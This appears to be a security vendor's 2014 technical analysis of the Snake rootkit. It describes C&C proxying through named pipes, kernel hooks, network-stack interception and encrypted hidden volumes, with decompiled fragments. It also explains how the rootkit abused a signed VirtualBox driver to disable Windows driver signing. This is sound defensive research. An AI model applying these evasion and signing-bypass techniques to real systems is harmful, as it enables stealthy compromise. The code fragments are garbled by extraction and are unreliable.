BTZ, these files expose the following contents: mtmon.sdb - CC communication log that looks as the logs shown above. mtmon_.sdb - installation log, that shows infected processes (Internet Explorer), the random name of the dropped DLL (e.g. kbdfaori.dll), log directory, and the registry entry ShellCore that stores other configuration details: 03:52:02 TVer1.2 03:52:02 Parent:C:\Program Files\Internet Explorer\IEXPLORE.EXE 03:52:02 ver 3.2.0.0a inj dll K:0 PID:712, C:\WINDOWS\system32\kbdfaori.dll, hostID:ea5cfa5ea1681bd6(16887647987074341846) 03:52:02 C:\WINDOWS\NtUninstallQ812589, Temp:C:\WINDOWS\NtUninstallQ812589\SPUNINST\Temp 03:52:02 REG:Software\Microsoft\Windows\CurrentVersion\ShellCore 03:52:02 ModuleStart: 03:51:42 scmp.bin - pipe server log that shows its assigned name (COMPUTERNAME is the name of the test system) and what processes it operates from: 02:04:24 TVer1.6 02:04:24 SPCOMPUTERNAME: Pipe server thread start 02:04:24 Inj[1620]:explorer.exe 03:51:42 Inj[712]:iexplore.exe ucmp.bin - another pipe server log: 02:04:44 TVer1.6 02:04:44 UPCOMPUTERNAME: Pipe server thread start 12BAE Systems Applied Intelligence: Snake Rootkit Report 2014 The diagram illustrates the operation steps 1-4: First, the malicious driver with the embedded DLL module injects that DLL into a system process, such as services.exe once loaded, the DLL will function in the pipe server mode. As soon as the driver detects a usermode process that goes online (e.g. a browser), it will inject malicious DLL module into it depending on the operational mode, the DLL may start communicating with CC directly. In the pipe mode of operation, the injected DLL will start communicating with the pipe server by sending messages into the established inter-process communication pipes. Once the task of communication with CC is delegated to the pipe server, it will start communicating with the CC, bypassing the host-based firewalls that keep an infected system process in a white-list. Analysis of the sample reveals that it supports 3 modes of fetching CC commands. In the first mode, it relies on Windows Internet (WinINet) APIs, such as HttpOpenRequest(), HttpSendRequest(), InternetReadFile(), etc. In the second mode, it uses Windows Sockets 2 (Winsock) APIs, such as WSAStartup(), socket(), connect(), send(), etc. In the third mode, it works in the pipe server mode, when it passes the web requests it is interested in (as a client) to the pipe server that runs within Windows Explorer (explorer.exe) and/or Internet Explorer (iexplore.exe) processes. Memory pipes is a common mechanism for Inter-Process Communications (IPC). When the pipe server reads such requests from the pipes, it performs the web request on behalf of a client by using WinINet APIs, so it effectively serves as a proxy. The diagram below demonstrates the last, pipe server mode of Snake operation: INTER-PROCESS COMMUNICATIONS Internet User Mode Kernel Mode Snakes Kernel Mode Driver, with the DLL module embedded in it Embedded DLL Module Legitimate Process (e.g. a browser) Legitimate Process (e.g. a browser) System Process (e.g. services.exe) Injected Snake DLL Injected Snake DLL Snake DLL in pipe server mode 3 1 3 4 2 2 1 2 3 4 13BAE Systems Applied Intelligence: Snake Rootkit Report 2014 The reason behind the pipes usage is to legitimise the outbound web requests, forcing them to originate from the host firewall- friendly system services. Pipe server is a special mode of the injected DLL. In order to switch into that mode, a dedicated thread is spawned to listen for IPC messages received through the pipes. The memory pipes used by Snake are named as: \\.\Pipe\SP[COMPUTERNAME] \\.\Pipe\UP[COMPUTERNAME] where [COMPUTERNAME] is the name of the host computer. Apart from GET/POST requests, the pipe clients (infected usermode processes) may also ask the pipe server to perform other operations on their behalf, such as saving data into a temporary file, copy/delete files, save configuration data into the registry under the aforementioned ShellCore value. This delegation of tasks is designed to keep infected processes under the radar of the behavioural analysis tools for as long as possible. Another reason is to overcome account restrictions imposed on a browser process in order to be able to write into files/ registry. To delegate different types of tasks, the clients send messages to the pipe server using the following task identification headers: DATA CREATE CMD POST GET DEL REGISTR COPY The usermode component of Snake communicates with its kernel-mode driver via a device called \\.\vstor32 (created under kernel as \Device\vstor32). In its communication protocol with the driver it uses the IOCTL code of 0x222038. To write data, it opens the device with CreateFile(\\.\vstor32), then calls DeviceIoControl() API on its handle with IOCTL code of 0x222038. Configuration parameters along with the initial set of domain names are hard-coded within the body of the DLL. However, the data appears to be defined in the structures, so it is very likely the DLL could be generated by a stand-alone builder that patches the DLL with the new/updated list of CC. Analysis of the commands performed by the malware suggests the following capabilities: Scan the network for the presence of other hosts (maximum 1 hour is allocated for this task) Set maximum upload file size Go stealth mode for the specified number of days - Snake will not initiate any connections during that time Run specified shell commands and collect the output logs for further delivery Modify settings stored with the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\ShellCore Search for files Upload specified files Add new CC domains Update the driver with a new version Download files Run specified executable files Set self-deactivation timeout If the virtual partition \\.\vd1 exists, copy all Snake logs into that partition Together, these commands provide complete backdoor functionality, allowing remote attacker full control over the compromised system. The ability to update the driver and then rely on its communication capabilities means that the components of Snake are flexible, making possible the existence of the hybrid (kernel-centric and usermode-centric) architectures. For example, the virtual partitions are used by kernel-centric Snake variants, where the kernel-mode driver is responsible for the communications. If such a driver is installed via an update, the usermode component can be instructed to delegate the file upload task to the driver by copying all the necessary logs into the shared virtual partition, physically located on the compromised host and thus, accessible from kernel. 14BAE Systems Applied Intelligence: Snake Rootkit Report 2014 This particular architecture relies on a kernel-mode driver to carry out the network communications. The usermode DLLs are still injected into the system processes to perform high-level tasks. The delivery mechanism is not known: it may be distributed via a thumb-drive, a phishing email attachment, or be delivered via an exploit across the network (e.g. by using the reconnaissance tool that is explained later). Infection starts from a dropper penetrating into the compromised system where it is allowed to run. Once executed, the dropper installs the kernel mode driver in a pre-defined location. The dropper itself is 32-bit, so it will run both on 32-bit and 64-bit Windows OS (in WoW64 mode). On a 32-bit OS, it will install a 32-bit driver. On a 64-bit OS, it will install a 64-bit driver. The analysed 32-bit dropper creates a driver in the following location: windows\NtUninstallQ817473\fdisk.sys However, different samples may use a different path and driver file name. For example, some samples exposed these filenames: fdisk_32.sys, A0009547.sys, or Ultra3.sys. The filename of the dropper could be rkng_inst.exe or fdisk_mon.exe. Once executed, the driver first makes sure it is registered under a pre-defined name, such as Ultra3. Other samples may have a different registration name, such as ROOT. The registration is ensured with creation of the following registry entries: ErrorControl 0 Group Streams Drivers ImagePath windows\NtUninstallQ817473\fdisk.sys Start 1 [SYSTEM] Type 1 in the newly created registry key HKEY_LOCAL_MACHINE\System\CurrentControlSer\Services\Ultra3 The driver then flags the following events with the notification purposes: \BaseNamedObjects\B93DFED5-9A3B-459b-A617-59FD9FAD693E \BaseNamedObjects\shell. F21EDC09-85D3-4eb9-915F-1AFA2FF28153 The rootkit then places a number of the hooks. The first API it hooks is IoCreateDevice(). The installed hook handler calls the original API and then checks if the name of the device is netbt or afd. If so, it will install a TDI filter driver. If the device name is Null, Beep, tcpip or Nsiproxy, it will activate itself by enabling its hooks designed to hide the presence of Snake on a system, set up its access control lists and the messaging system. In order to hide its components, the driver hooks the following APIs: ZwQueryKey ZwEnumerateKey ZwCreateKey ZwSaveKey ZwReadFile ZwQuerySystemInformation ZwQueryInformationProcess ZwClose ZwTerminateProcess ZwShutdownSystem ObOpenObjectByName REGISTRATION SYSTEM HOOKS KERNEL-CENTRIC ARCHITECTURE 15BAE Systems Applied Intelligence: Snake Rootkit Report 2014 For example, the hook handlers of the registry-related APIs will block access to the registry entries that contain the name of the driver. In one example, the rootkit blocks access to registry entries that contain the strings Ultra3 and ROOT. The ZwReadFile() hook handler will block access to the home directory where the rootkit keeps its file. In one of the analysed kernel-centric Snake samples the home directory was hard-coded as windows\NtUninstallQ817473, so it blocked file read access from that directory. The ZwClose() hook handler is used to inject the DLL module into the userland processes. The hook handler for ZwTerminateProcess() checks if the process being shut down is svchost.exe. If so, it considers it to be a system shutdown, so it unloads its usermode DLL and deactivates its own network drivers, just like it does when its ZwShutdownSystem() hook handler gets invoked. The ObOpenObjectByName() hook is designed to hide the presence of its virtual partitions (described later). To encrypt data stored on its virtual partitions, the driver sets a hook for another API: IofCallDriver() To re-infect the usermode process svchost.exe and to re-enable its network drivers, the rootkit hooks these APIs: ZwCreateThread ZwCreateUserProcess The driver inspects bidirectional network data on a per stream basis, as its located right on the stream data path. An ability to manipulate data streams is provided with the packet injection logic below, allowing Snake to covertly insert traffic destined to its CC servers: WFP CALLOUT DRIVER int __stdcall stream_inject(int flowHandle, int calloutId, int layerId) int iRet 0 int ntStatus FwpsAllocateNetBufferAndNetBufferList(m_hNdisNblPool, 0, 0, 0, 0, iRet) if (ntStatus) ntStatus _FwpsStreamInjectAsync(m_hInjection, 0, 0, flowHandle, calloutId, layerId, 20, 3, iRet, 0, sStreamInjectCompletion, 0) if (ntStatus) iRet 0 if (iRet) FwpsFreeNetBufferList(iRet) return ntStatus 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Snake then proceeds to the task of deep packet inspection and modification. In order to accomplish it, it registers a callout driver for Windows Filtering Platform (WFP), an architecture first introduced with Windows Vista and nowadays normally used by antivirus and/or intrusion detection systems to inspect/block malicious traffic. Snake sets filters at the layers FWPM_LAYER_STREAM_V4 and FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 in the TCP/ IP stack, so that its callout driver is notified whenever a TCP connection is established by a browser. When that happens, the rootkit triggers an event named \BaseNamedObjects\wininet_activate. When the data arrives, it is intercepted with the FwpsCopyStreamDataToBuffer0() API, and then scanned for the presence of the hidden commands from CC. 16BAE Systems Applied Intelligence: Snake Rootkit Report 2014 In addition to WFP, Snake also hooks the Transport Driver Interface (TDI) network routines by setting itself up as a TDI filter driver. TDI is considered deprecated and will be removed in future versions of Microsoft Windows, but its still supported on Windows 7. Being registered as a TDI driver on the device stack, Snake hooks TCP calls. This way it intercepts all requests along with their parameters via IRP (IO request package) hooks. By sniffing all the requests, it can now inspect the traffic, looking for and then parsing GET/POST HTTP requests and also SMTP communications, in order to distinguish commands addressed to itself. If the rootkit detects that the OS version is pre-Vista (e.g. Windows XP) or Windows Server 2008 (e.g. Windows Server 2003), it will invoke FwpsStreamInjectAsync0() API in order to generate outbound requests. Whenever the client establishes connections, the TDI driver will also pulse the \BaseNamedObjects\wininet_activate event, just like the WPF drivers component of it, in order to notify the userland service about the event. The data that the driver intercepts, along with the important notifications, is passed to the userland DLL to be processed. If the data contains commands from CC, the DLL module is expected to execute them and report results back to the driver to be delivered back to CC. In order to qualify as a browser, the usermode process must have any of the following names: bool isBrowserProcess(const wchar_t szProcName) return wcsicmp(szProcName, Liexplore.exe) wcsicmp(szProcName, Lfirefox.exe) wcsicmp(szProcName, Lopera.exe) wcsicmp(szProcName, Lnetscape.exe) wcsicmp(szProcName, Lmozilla.exe) wcsicmp(szProcName, Lchrome.exe) 01 02 03 04 05 06 07 08 09 TDI FILTER DRIVER NDIS HOOKING For NDIS versions 5.X, Snake rootkit contains code that installs NDIS filter intermediate driver. This driver is set up above a miniport driver (a driver that communicates with the physical device) and below a protocol driver (a driver that implements a protocol, e.g. TCP/IP). The driver is registered with NdisIMRegisterLayeredMiniport() API. After that, the drivers hooks the following exports within ndis.sys: NdisIMRegisterLayeredMiniport NdisTerminateWrapper The rootkit contains code that installs NDIS filter driver for NDIS 6.0 and above: Unique name: c06b1a3b-3d16-4181-8c8d-7015bfc5b972 User-readable description: filter_c06b1a3b NDIS filter driver configuration is stored in the registry entry: HKLM\SYSTEM\CurrentControlSet\Control\Network\4d36e974-e325-11ce-bfc1-08002be10318 The driver is registered with NdisFRegisterFilterDriver() API. 17BAE Systems Applied Intelligence: Snake Rootkit Report 2014 NDIS PROTOCOL DRIVER To send the data back, the protocol driver defines the data in a list of NET_BUFFER_LIST structures, and then passes them to NDIS by calling NdisSendNetBufferLists(). NDIS, in turn, calls the miniport drivers MiniportSendNetBufferLists() function to forward the data to an underlying miniport driver. NDIS Protocol Driver NDIS NdisMIndicateReceiveNetBufferLists() ProtocolReceiveNetBufferLists() Miniport Driver The Snake rootkit registers itself as Network Driver Interface Specification (NDIS) protocol driver. Intercepting Network Data Whenever the underlying miniport driver receives data from the network, it calls NDIS by invoking a data receive indication function NdisMIndicateReceiveNetBufferLists(). When that happens, NDIS invokes Snakes hook function (ProtocolReceiveNetBufferLists) to process the received data. Sending Network Data NDIS MiniportSendNetBufferLists() NdisSendNetBufferLists() Miniport Driver NDIS Protocol Driver Being able to fully manipulate traffic at 3 different levels (NDIS protocol driver, TDI Driver, and WPF callout driver), Snake is able to inject the traffic into existing communications to reach out to external components, and at the same time parse all incoming traffic to detect traffic addressed to itself: After that, the drivers hooks the following exports within ndis.sys (for NDIS 6.0): NdisFRegisterFilterDriver NdisFDeregisterFilterDriver NdisSetOptionalHandlers NdisFSetAttributes Another set of exports it attempts to hook in ndis.sys (for NDIS 6.0) is: NdisMRegisterMiniportDriver NdisMDeregisterMiniportDriver NdisMIndicateReceiveNetBufferLists NdisMRestartComplete NdisMPauseComplete With the hooks installed, whenever the network adapter driver attempts to register to NDIS, or whenever there is an attempt to install NDIS intermediate driver or NDIS filter driver, the hook handlers will register Snakes own MiniportXxx functions with the NDIS library. With its own miniport handler functions, it can send/receive data by using a private TCP/IP stack, bypassing all firewall hooks, and making its open ports invisible to scanners. Internet Infected User Application Injected Module Memory pipes Snakes Kernel Mode Driver Traffic Injection Traffic Interception 0xDEADBEAF/0xC001BA5E Checks WFP TDI NDIS 18BAE Systems Applied Intelligence: Snake Rootkit Report 2014 DEAD BEEF ON A COOL BASE As the driver intercepts all connections (e.g. on TDI_RECEIVE TDI event or ClientEventReceive() event notification triggered through its TDI Filter Driver), it parses all incoming HTTP and SMTP traffic to see if it can be authenticated as Snake traffic. The authentication is implemented by decrypting the data and making sure it starts with the markers 0xDEADBEAF and 0xC001BA5E (which appear to derive from DEAD BEEF and COOL BASE). Here are specific steps: The data it accepts should start from a 10 byte signature with the following rules: the first 8 bytes must all be ASCII characters, the parser calculates their total sum (sum): for (int i 0 i 8 i) if ((BYTE )ptrBuffer 32 (BYTE )ptrBuffer 128) return 0 // if not ASCII, quit sum (BYTE )ptrBuffer // add to sum ptrBuffer // advance buffer pointer 01 02 03 04 05 06 07 08 09 10 9th byte must be equal to sum / 26 65 10th byte must be equal to 122 - sum 26 if (((BYTE )ptrBuffer sum / 26 65) ((BYTE )(ptrBuffer 1) 122 - sum 26)) result 0 01 02 03 04 05 Starting from the 11th byte, the data must be base64-encoded the parser decodes that data base_64_decode(abyBuffer 10, ptrDecoded, iMaxLength - 10) 01 02 03 Once decoded, the decrypted data should contain the aforementioned markers: .text:F6751426 lea eax, [ebpdwMarker] return marker here .text:F6751429 push eax .text:F675142A mov ecx, [ebpbuf_len] traffics buffer length .text:F675142D push ecx .text:F675142E mov edx, [ebpabyBuffer] traffics buffer pointer .text:F6751431 push edx .text:F6751432 call decrypt_traffic decrypt traffic first .text:F6751437 test eax, eax .text:F6751439 jz short exit if failed, exit .text:F675143B mov eax, [ebpdwMarker] check the returned marker .text:F675143E cmp eax, _DEADBEAF _DEADBEAF dd 0DEADBEAFh .text:F6751444 jnz short exit if not 0xDEADBEAF, exit .text:F6751446 cmp [ebpdwNextDword], 0C001BA5Eh check next DWORD .text:F675144D jnz short next if not 0xC001BA5E, exit When the traffic is authenticated, its contents is then parsed by using GET, POST, http://, HTTP/, Content-Length, Connection, close tags, in order to retrieve HTTP requests SMTP traffic is also parsed, only by using MAIL , RCPT tags in order to retrieve SMTP characteristics 19BAE Systems Applied Intelligence: Snake Rootkit Report 2014 By observing such behaviour, one might wonder why the driver is expecting HTTP or SMTP clients? Why does it act like HTTP/SMTP server processing client traffic, and serving back normal responses as per the protocol? For example, in HTTP the driver will respond with messages like HTTP/1.1 200 OK or HTTP/1.1 500 Server Error. For SMTP traffic, it communicates back normal SMTP server responses, such as 250 Sender OK, 503 Bad sequence of commands, etc. The reason behind such behaviour is that the driver is acting in this mode like a proxy, routing requests from other infected hosts to a remote CC server. Another opportunity this mode unlocks is a peer-to-peer network mode with no centralised CC. The infected hosts are capable of transferring the following peer-2-peer commands defining fragment size, reliability parameters, new peer information, peer impersonation flags, etc. : frag_size frag_no_scrambling peer_frag_size read_peer_nfo write_peer_nfo imp_level reliable_n_tries reliable_keepalive reliable_rtt reliable_padding reliable_no_keepalive m2b_raw psk key Once the incoming data is authenticated and decrypted, the driver passes it to the DLL by using memory pipes. For example, on HTTP traffic arrival it may send traffic data into a memory pipe \Device\NamedPipe\isapi_http, and then, send a received peer-2-peer command message write_peer_nfo[IP_ADDRESS:PORT]0frag_no_scramblingY0 into another memory pipe called \Device\NamedPipe\isapi_dg. In order to log its activity, the driver writes log data into the pipe \Device\NamedPipe\isapi_log, so that the DLL could log the data into the log files. Full list of the named pipes used for communications is provided below: \Device\NamedPipe\isapi_http \Device\NamedPipe\isapi_log \Device\NamedPipe\isapi_dg \Device\NamedPipe\services_control Messages submitted into the pipes are wrapped into the structures. The structures appear to contain headers to allow the pipe server, that runs within an infected userland module, to identify the messages first and then unwrap the structures accordingly. For example, the message headers could be: domc.np frag.np Once received from the pipes and unwrapped/decoded, the data is then handled by the usermode DLL as per the data intention - whether its a traffic sniffing task, a peer-2-peer client logic, a logging task, or a task of saving received files into the virtual volumes. 20BAE Systems Applied Intelligence: Snake Rootkit Report 2014 The driver creates virtual file volumes for encrypted storage of its files and configuration data: \\.\Hd1 \\.\Hd2 The volumes are mounted from the virtual file systems RawDisk1 and RawDisk2. The first partition is created with the following steps: the driver creates a 100Mb (0x6400000 bytes) file windows\NtUninstallQ817473\hotfix.dat by calling IoCreateFile() API then it creates a section object with the flags SEC_COMMIT and SEC_NOCACHE (0x18000000) by calling ZwCreateSection() the flags mean the file is mapped into memory, the entire range of pages will be committed next, it maps a view of the created section into the virtual address space by calling ZwMapViewOfSection() finally, it creates device \Device\RawDisk1 from the section map and mounts it as \\.\Hd1 The hook installed by the rootkit on IofCallDriver() API provides on-the-fly data encryption/decryption whenever that data is written to or read from the volume. The encryption algorithm is based on CAST-128, with the hard-coded key stored in the rootkit body. As a result, whenever the data is saved into the volume Hd1, it will be scrambled on-the-fly, and reflected in the persistent storage file hotfix.dat, which is physically located within the rootkits home directory: Z:\WINDOWS\NtuninstallQ817473dir Volume in drive Z has no label. Volume Serial Number is 2479-98AC Directory of Z:\WINDOWS\NtuninstallQ817473 13/02/2014 04:47 PM DIR . 13/02/2014 04:47 PM DIR .. 03/02/2014 01:57 PM 210,944 fdisk.sys 13/02/2014 04:47 PM 104,857,600 hotfix.dat 2 File(s) 105,068,544 bytes 2 Dir(s) 8,406,433,792 bytes free Analysis of the hotfix.dat file contents reveals its a fully encrypted file with flat entropy. Thus, it is not possible to reveal the contents of the Snakes volume by accessing the contents of this file (unless the encryption is broken, that is). Enlisting the contents of the created volume is possible, along with creating files on it: C:\echo Test \\.\Hd1\Test.txt C:\type \\.\Hd1\\Test.txt Test C:\dir \\.\Hd1\\ Volume in drive \\.\Hd1 has no label. Volume Serial Number is BA9B-99E8 Directory of \\.\Hd1 14/02/2014 02:22 PM 7 Test.txt 1 File(s) 7 bytes 0 Dir(s) 0 bytes free VIRTUAL FILE VOLUMES 21BAE Systems Applied Intelligence: Snake Rootkit Report 2014 However, as soon as IofCallDriver() hook is removed, the same dir command will fail, as with no hook the rootkit cannot decrypt the scrambled volume: C:\dir \\.\Hd1\\ Incorrect function. This will produce the following results: For \\.\Hd1: For \\.\Hd2: The second volume \\.\Hd2 is not mapped to a file, so when a computer is switched off, its contents is lost. Thus, it could be used as a temporary or a cache storage. The data stored in \\.\Hd2 is encrypted the same way the first volumes data. Both volumes appear to be set up as FAT volumes. An attempt to read the data from these volumes with the code below: HANDLE hDisk CreateFile(\\\\.\\Hd1, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL) BYTE lpBuffer[16384] DWORD dwBytes if (hDisk) ReadFile(hDisk, lpBuffer, 16384, dwBytes, NULL) // inspect the buffer CloseHandle(hDisk) 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 The ability to keep its data on TrueCrypt-like volumes provides Snake with a powerful ability to exchange data with the usermode DLL, as these volumes are accessible both from usermode and kernel mode. Static analysis of the code reveals that the Snake driver uses virtual volumes to store its data and additional files on it. For example, it stores its message queue in a file called: \.\\Hd1\queue The message queue indicates an asynchronous communication model between kernel mode driver and a usermode DLL, e.g. to pass commands, configuration parameters, binary images of additional Snake components. Other files that may also be found on the virtual volume are: klog, conlog, dump, rkng_inst.exe, where rkng_inst.exe could be the name of the original dropper, and other log files could potentially contain executed command outputs, intercepted keystrokes, and other output logs. 00000000 EB 00 00 00 00 00 00 00 00 00 00 00 02 04 02 00 ................ 00000010 02 00 02 00 00 F8 C8 00 20 00 02 00 01 00 00 00 ........ ....... 00000020 FF 1F 03 00 80 00 29 E8 99 9B BA 4E 4F 20 4E 41 ......)....NO NA 00000030 4D 45 20 20 20 20 46 41 54 31 36 20 20 20 00 00 ME FAT16 .. 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 EB 00 00 00 00 00 00 00 00 00 00 00 02 01 02 00 ................ 00000010 02 00 02 FF 7F F8 7F 00 20 00 02 00 01 00 00 00 ........ ....... 00000020 00 00 00 00 80 00 29 E8 99 9B BA 4E 4F 20 4E 41 ......)....NO NA 00000030 4D 45 20 20 20 20 46 41 54 31 36 20 20 20 00 00 ME FAT16 .. 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 22BAE Systems Applied Intelligence: Snake Rootkit Report 2014 64-BIT EDITIONS OF WINDOWS The 64-bit version of Snake must deal with a number of additional security protections implemented in 64-bit editions of Microsoft Windows, the most significant of which are kernel driver signature validation and Kernel Patch Protection (more commonly known as PatchGuard). PatchGuard is a feature of 64-bit Windows which aims to prevent modification of the Windows kernel, something that is often performed by malware attempting to hide itself on an infected system. Although PatchGuard is successful at preventing kernel patching once initialised, several published bypass approaches exist4,5. The technique used by Snake appears to be similar to these approaches. The driver signing policy enforced by all 64-bit versions of Windows from Vista onwards requires all kernel-mode drivers to be signed with a valid digital signature. The Snake dropper contains both 32-bit and 64-bit unsigned drivers, and it can successfully load its unsigned 64-bit driver on a 64-bit version of Windows XP as driver signing is not enforced it does not have to resort to any tricks under this OS version. In this case, in order to ensure the driver is loaded automatically at startup, the dropper can install the 64-bit driver on 64-bit Windows XP in the same way it installs a 32-bit driver on a 32-bit version of Windows XP. On 64-bit versions of Windows Vista and above it behaves differently. Firstly, the 64-bit unsigned driver file is created as usual: windows\NtUninstallQ817473\fdisk.sys However, the driver is not registered what is registered instead is the dropper itself. To do that, the dropper first copies itself as: windows\NtUninstallQ817473\fdisk_mon.exe The dropper then registers itself as a service to ensure it starts every time Windows is booted, by creating the values: ErrorControl 0 Type 16 Start 2 ImagePath SystemRoot\NtUninstallQ817473\fdisk_mon.exe ObjectName LocalSystem WOW64 1 in the registry key: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Ultra3 Now comes the most interesting part: does the dropper manage to load its 64-bit unsigned driver under 64-bit versions of Windows Vista and later versions, such as 64-bit Windows 7/8? The answer: Yes, it does. Does it resort to using bootkit technology, which has been used in the past to bypass protections to load unsigned 64-bit drivers?
232
The answer: No.
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data/reports_final/0232.txt
The answer: No. Bootkits must overwrite the Master Boot Record (MBR) and antivirus products are well trained to catch that kind of bad behavior. The masterminds behind Snake rootkit seem to be well aware of this so what they resorted to instead is leveraging a vulnerability in a well-known virtualization product called VirtualBox, a product made by Oracle which is widely used by researchers to analyse malware. VirtualBox driver version 1.6.2 was released in June 2, 2008. Two months later, in August 2008, security researchers reported that its main driver component, which is signed under the entity innotek Gmbh, contained a privilege escalation vulnerability6. In a nutshell, the VirtualBox software installs a driver called VBoxDrv. The driver is controlled with the Input/Ouput Control Codes (32-bit values called IOCTL) passed along DeviceIoControl() API. One of the documented transfer methods that the system uses to pass data between the caller of DeviceIoControl() API and the driver itself is called METHOD_NEITHER. As per MSDN documentation7, METHOD_NEITHER is a special transfer type when Input/Output Request Packet (IRP) supplies the user-mode virtual addresses of the input and output buffers, without validating or mapping them. 4 http://www.codeproject.com/Articles/28318/Bypassing-PatchGuard-3 5 http://uninformed.org/index.cgi?v3a3p17 6 http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability 7 http://msdn.microsoft.com/en-us/library/windows/hardware/ff543023(vvs.85).aspx http://www.codeproject.com/Articles/28318/Bypassing-PatchGuard-3 http://uninformed.org/index.cgi?v3a3p17 http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability http://msdn.microsoft.com/en-us/library/windows/hardware/ff543023(vvs.85).aspx 23BAE Systems Applied Intelligence: Snake Rootkit Report 2014 It is the responsibility of the driver to validate the addresses sent from user mode in order to make sure those addresses are valid usermode addresses. The source code of the vulnerable driver (shown below) demonstrates how the integer value of the rc variable is first derived from the input parameters pDevObj (device object) and pIrp (request packet). Next, that integer value is written into the UserBuffer - an arbitrary address, pointed by the input parameter pIrp (request packet). As there are no validations made for the UserBuffer an attacker can craft such input parameters that will define address within kernel memory to patch and the data to patch it with: 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 / Device I/O Control entry point. param pDevObj Device object. param pIrp Request packet. / NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_OBJECT pDevObj, PIRP pIrp) PSUPDRVDEVEXT pDevExt (PSUPDRVDEVEXT)pDevObj-DeviceExtension PIO_STACK_LOCATION pStack IoGetCurrentIrpStackLocation(pIrp) PSUPDRVSESSION pSession (PSUPDRVSESSION)pStack-FileObject-FsContext ULONG ulCmd pStack-Parameters. DeviceIoControl. IoControlCode if ( ulCmd SUP_IOCTL_FAST_DO_RAW_RUN ulCmd SUP_IOCTL_FAST_DO_HWACC_RUN ulCmd SUP_IOCTL_FAST_DO_NOP) int rc ... rc supdrvIOCtlFast(ulCmd, pDevExt, pSession) // supdrvIOCtlFast() function itself will return: // pDevExt-pfnVMMR0EntryFast(pSession-pVM, SUP_VMMR0_DO_NOP) // the function depends pDevExt and pSession, which in turn // are derived from the input parameters pDevObj and pIrp // therefore, rc value can be manipulated __try // save the manipulated rc value back into (int )pIrp-UserBuffer rc // the input parameter (the address to patch) __except(EXCEPTION_EXECUTE_HANDLER) ... Now that the vulnerable driver can be used as a weapon to patch kernel memory, all the malware needs to do is to patch the content of the variable ntg_CiEnabled, a boolean variable Code Integrity Enabled that marks whether the system was booted in WinPE mode. When running in WinPE mode there is no Code Integrity control, therefore by enabling this mode by patching only one bit, Code Integrity verification is disabled so that the unsigned 64-bit driver can be loaded. This variable is used within the function SepInitializeCodeIntegrity(), implemented within CI.dlls function CiInitialize() and imported by the NT core (ntoskrnl.exe). In order to find the variable in kernel memory, the Snake dropper loads a copy of the NT core image (ntoskrnl.exe), locates the import of CI.dlls function CiInitialize(), and then SepInitializeCodeIntegrity() within it. Then it parses the functions code to locate the offset of the variable. Once located, the content of the variable ntg_CiEnabled is patched in kernel memory and the 64-bit unsigned driver is loaded. This explains why Snake dropper registers itself as a service to start each time Windows starts: in order to install the vulnerable VBox driver first, then pass it a malformed structure to disable Code Integrity control with a DeviceIoControl() API call, and finally, load the driver. In order to be able to perform the steps above, the dropper must first obtain Administrator privileges. It attempts to do this by running MS09-025 and MS10-015 exploits on the target system. These exploits are bundled within the dropper in its resource section as executable files. Other resources embedded within the dropper are the 32-bit and 64-bit builds of its driver, a tool for creating NTFS file systems, and the initial message queue file which is written into the virtual volume. The message queue file contains configuration data and the libraries that will be injected into usermode processes. 24BAE Systems Applied Intelligence: Snake Rootkit Report 2014 USERMODE DLLS The usermode DLLs injected by the kernel-mode driver into the userland system process (e.g. explorer.exe) are: 32-bit Windows OS: rkctl_Win32.dll inj_snake_Win32.dll 64-bit Windows OS: rkctl_x64.dll inj_snake_x64.dll The rkctl_Win32.dll/rkctl_x64.dll module uses the following hard-coded named pipe for communications: \\.\pipe\services_control The remote commands it receives appear to be designed to control other components of Snake: tc_cancel config_read_uint32 tr_free tr_alloc tc_send_request tr_write_pipe snake_modules_command t_setoptbin The inj_snake_Win32.dll/inj_snake_x64.dll module exports 61 functions. It is designed to perform the high-level tasks such as: manage the configuration data (by using a queue) exfiltrate data by using Windows Internet (WinINet) APIs or Windows Sockets 2 (Winsock) APIs: communicate with the CC server and receive commands to execute submit logs to the CC server and other reports When the DLL activates, it reads configuration parameters from the configuration queue, that the driver creates on a virtual volume. One of the parameters defines the pipe name(s) that the DLL should use for its communications. The remote commands received by this Snake DLL module are designed to set up various communication parameters: To post the data, the DLL can use the following User-Agent string Mozilla/4.0 (compatible MSIE 6.0). It may rely on the following Internet Media types (MIME types) for data exfiltration: application/x-shockwave-flash image/pjpeg image/jpeg image/x-xbitmap Request type it uses can either be POST of GET, and CC server resource name is /default.asp. http_log http_no_pragma_cache http_no_accept proxy_useragent proxy_bypass proxy_server proxy_discover proxy_passwd proxy_user check_inet tc_free_data tc_get_reply tc_read_request_pipe tc_send_request_bufs t_close tc_socket snake_free snake_alloc image/gif application/msword application/vnd.ms-excel application/vnd.ms-powerpoint redir_str http_max_opt http_option http_uri no_server_hijack imp_level net_password net_user write_peer_nfo read_peer_nfo 25BAE Systems Applied Intelligence: Snake Rootkit Report 2014 RECONNAISSANCE TOOL One of the Snake components that could have been downloaded from a remote CC server, was identified as a network reconnaissance tool. When run as a command line tool, with its logic defined with the command line switches, this tool enumerates other network hosts and detects what Windows RPC services are enabled at the endpoints. It carries a list of interface identifiers associated with the named pipes. It then uses these identifiers to write a message to and read a message from the associated named pipes. By knowing what RPC services are running, it can successfully fingerprint all network hosts by mimicking the Metasploits logic of OS fingerprinting via SMB. The fingerprinting allows it to reveal the following characteristics for each host found in the network: the version of the operating system version of the service pack the installed network services The data it retrieves is encrypted and saved into a configuration file system\vtmon.bin. This file is then further encrypted with an NTL-based (Number Theory Library) algorithm and is uploaded by the usermode-centric Snake rootkit to the CC server, along with other 